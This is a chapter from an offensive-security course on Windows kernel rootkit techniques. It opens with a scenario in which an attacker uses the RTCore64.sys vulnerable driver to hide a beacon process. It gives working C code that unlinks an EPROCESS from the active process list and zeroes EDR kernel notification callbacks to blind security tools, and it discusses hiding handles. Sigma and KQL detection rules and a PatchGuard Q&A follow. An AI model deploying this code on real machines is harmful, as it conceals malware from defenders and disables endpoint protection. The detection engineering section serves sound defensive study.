Rootkit Techniques: Kernel-Mode DKOM
DKOM (Direct Kernel Object Manipulation) bypasses the limitations of user-mode rootkits by manipulating the actual kernel data structures that the OS uses for enumeration. An unlinked EPROCESS is invisible to every user-mode and kernel-mode enumeration API that walks the standard doubly-linked list. This chapter covers EPROCESS unlinking, handle table hiding, EDR callback removal, and the kernel defenses (HVCI, KPP) that limit these techniques on modern systems.
You have kernel code execution via a BYOVD vulnerability (ch142 RTCore64.sys). Your beacon process is at PID 4492. You need to make it invisible to every enumeration — including EDR drivers that walk the kernel EPROCESS list — and simultaneously prevent the EDR's process notification callback from seeing the beacon's child process launches. Both require direct kernel data manipulation.
DKOM Concept
EPROCESS ActiveProcessLinks Unlink
// Requires kernel R/W primitive (e.g., RTCore64.sys from ch142).
// Offsets for Windows 10 22H2 x64 (verify with windbg: dt nt!_EPROCESS):
// UniqueProcessId: +0x440
// ActiveProcessLinks: +0x448 (LIST_ENTRY: Flink at +0, Blink at +8)
#define OFF_PID 0x440
#define OFF_APL 0x448
// Using KernelRead/KernelWrite from ch142:
BOOL DkomUnlinkProcess(DWORD targetPid) {
// Walk EPROCESS list from System to find target
UINT64 systemEp = GetSystemEPROCESS(); // via PsInitialSystemProcess
UINT64 cur = systemEp;
do {
UINT64 pid = KernelReadQ(cur + OFF_PID);
if ((DWORD)pid == targetPid) {
// Found target EPROCESS
// APL.Flink points to next EPROCESS's APL (not EPROCESS base)
// APL.Blink points to previous EPROCESS's APL
UINT64 flink = KernelReadQ(cur + OFF_APL); // next.APL
UINT64 blink = KernelReadQ(cur + OFF_APL + 8); // prev.APL
// next.APL.Blink = prev.APL (skip over us)
KernelWriteQ(flink + 8, blink);
// prev.APL.Flink = next.APL (skip over us)
KernelWriteQ(blink, flink);
// Leave our own Flink/Blink intact so the beacon can still walk
// the list if needed (our handles remain valid)
return TRUE;
}
// Advance: APL.Flink - OFF_APL = next EPROCESS base
UINT64 nextApl = KernelReadQ(cur + OFF_APL);
cur = nextApl - OFF_APL;
} while (cur != systemEp);
return FALSE;
}
// Post-unlink consequences:
// - tasklist.exe, Process Explorer, NtQuerySystemInformation: invisible
// - Process still scheduled and runs normally
// - Handles to process still work — OpenProcess(pid) still succeeds
// - If EDR uses PsGetNextProcess: may still be visible (uses different walk)
// - BSOD risk if kernel code caches EPROCESS pointers to the unlinked entry
Hiding Handles from HANDLE_TABLE
// The kernel HANDLE_TABLE tracks all handles a process owns.
// NtQuerySystemInformation(SystemHandleInformation = 16) returns this table.
// Forensic tools use handle tables to correlate what resources a process holds.
// Hiding a handle: zero out the TABLE_ENTRY in the handle table.
// Requires knowing the handle table structure and the kernel R/W primitive.
// OBJECT_TABLE_ENTRY (simplified):
// Object pointer (pointer-sized, with attribute bits)
// GrantedAccess
// Located at: EPROCESS.ObjectTable → ExHandleTable → TableCode
// Practical note: handle table manipulation is complex and version-specific.
// More practical: use ObReferenceObjectByHandle patterns carefully to ensure
// the handle doesn't appear to tools that call NtQueryObject.
// Simpler alternative: close sensitive handles before entering a state
// where forensic tools might capture the handle table.
// E.g., close the parent process handle after injecting:
CloseHandle(hTargetProcess); // handle gone from our table; injection complete
Removing EDR Notification Callbacks
// EDR drivers register callbacks via:
// PsSetCreateProcessNotifyRoutine → notified on every process create
// PsSetCreateThreadNotifyRoutine → notified on every thread create
// PsSetLoadImageNotifyRoutine → notified on every DLL/image load
// ObRegisterCallbacks → pre/post operation on object access
//
// These callbacks are stored in kernel arrays. With kernel R/W, we can
// find and zero out the EDR's callback to blind it.
//
// PspCreateProcessNotifyRoutine: undocumented kernel array
// Located by: NtQuerySystemInformation(SystemProcessInformation) leak
// Or: pattern scan in ntoskrnl for the array
// Method: scan ntoskrnl for PspCreateProcessNotifyRoutine pattern,
// then zero the EDR driver's entry.
// Simplified: find the callback array by scanning known pattern in ntoskrnl.
// (Full implementation requires ntoskrnl base + pattern scanning.
// See ch142 for GetNtoskrnlBase using NtQuerySystemInformation(11))
BOOL RemoveCallback(UINT64 ntoskrnlBase, UINT64 callbackArray,
const WCHAR* driverName) {
for (int i = 0; i < 64; i++) {
UINT64 entry = KernelReadQ(callbackArray + i * 8);
if (!entry) continue;
// EX_CALLBACK_ROUTINE_BLOCK → Function + Context
// The callback pointer contains the module base + offset
// Identify by cross-referencing with loaded module list (PsLoadedModuleList)
UINT64 fnPtr = entry & ~0xF; // clear low bits (tag)
// Check which driver owns this callback (compare against loaded modules)
// If it matches our target EDR driver, zero the entry:
if (IsAddressInDriver(fnPtr, driverName)) {
KernelWriteQ(callbackArray + i * 8, 0);
return TRUE;
}
}
return FALSE;
}
// Detection: KPP (Kernel Patch Protection / PatchGuard) on Windows
// periodically verifies the integrity of these callback arrays.
// Modifying them triggers a PatchGuard check failure → BSOD (0x109).
// PatchGuard checks are on a timer and check randomized targets —
// there is a window between checks where the modification is live.
// The BSOD risk is real: this technique is inherently unstable.
HVCI and Kernel CFG Constraints
Detection Engineering
title: Process in Kernel Callback but Missing from NtQSI (DKOM Indicator)
logsource:
product: custom_edr
category: cross_view
detection:
selection:
EventType: 'ProcessListMismatch'
KernelCount|gt: UserModeCount
condition: selection
level: critical
note: Requires EDR with kernel driver that independently enumerates processes
title: BYOVD — Vulnerable Driver Loaded (DKOM Prerequisite)
logsource:
product: windows
category: driver_load
detection:
selection:
ImageLoaded|endswith:
- '\RTCore64.sys'
- '\gdrv.sys'
- '\iqvw64e.sys'
- '\zam64.sys'
- '\Truesight.sys'
condition: selection
level: critical
tags: [attack.privilege_escalation, T1068]
-- MDE KQL: detect process creation without corresponding ETW-TI create event
-- Indicates callback removal or DKOM before ETW-TI fires (advanced)
let kernel_creates = DeviceProcessEvents
| where ActionType == "ProcessCreated"
| project DeviceName, ProcessId, Timestamp;
let nt_qsi_visible = DeviceProcessEvents
| where ActionType == "ProcessCreated"
| where isnotempty(InitiatingProcessFileName)
| project DeviceName, ProcessId;
kernel_creates
| join kind=leftanti nt_qsi_visible on DeviceName, ProcessId
| project Timestamp, DeviceName, ProcessId
Q&A
Why does DKOM via EPROCESS unlinking survive PatchGuard while removing notification callbacks does not?
PatchGuard (Kernel Patch Protection) does not check every kernel data structure — that would be computationally prohibitive. Instead, it maintains a curated list of critical structures that are known to be security-relevant, hashes them periodically, and BSODs if the hash changes unexpectedly. The list includes the IDT (Interrupt Descriptor Table), the GDT (Global Descriptor Table), critical kernel code sections, and specifically the callback arrays used by security software: PspCreateProcessNotifyRoutine, PspCreateThreadNotifyRoutine, and PspLoadImageNotifyRoutine.
EPROCESS.ActiveProcessLinks is not on PatchGuard's check list. The active process list is a dynamic data structure that changes constantly during normal operation — processes are created and terminated continuously, and each operation modifies the linked list. PatchGuard cannot hash a dynamic structure that changes thousands of times per minute. Therefore, DKOM unlinking of the ActiveProcessLinks field survives indefinitely — PatchGuard never fires because it never checks it.
The notification callback arrays, by contrast, are designed to be largely static during operation. EDR callbacks are registered once at driver load time and almost never change during normal operation. PatchGuard can hash these arrays at boot, store the expected value, and periodically recompute. When a DKOM technique zeros a callback entry, the hash changes, PatchGuard detects the change on its next check cycle (which fires within a randomized window of minutes to hours), and triggers CRITICAL_STRUCTURE_CORRUPTION (Bug Check 0x109). The BSOD is both the detection signal and the attacker's failure — making callback removal significantly more dangerous to use in practice than EPROCESS unlinking.